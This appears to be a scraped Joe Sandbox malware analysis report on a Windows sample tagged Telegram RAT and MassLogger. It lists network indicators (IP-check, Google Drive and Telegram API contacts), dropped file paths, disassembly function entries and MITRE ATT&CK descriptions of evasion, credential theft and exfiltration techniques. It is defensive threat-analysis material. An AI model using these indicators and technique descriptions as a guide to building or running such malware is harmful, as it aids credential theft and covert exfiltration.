Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6mGpn6kupm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\Bargains\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Bargains\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Bargains\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Bargains\Sjusket.Adg

C:\Users\user\AppData\Local\Iw\Bargains\prepares.pli

C:\Users\user\AppData\Local\Iw\Madmoders.ren

C:\Users\user\AppData\Local\Temp\nsuBEB9.tmp

C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
6mGpn6kupm.exe

Function 004034A5 Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 701C1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre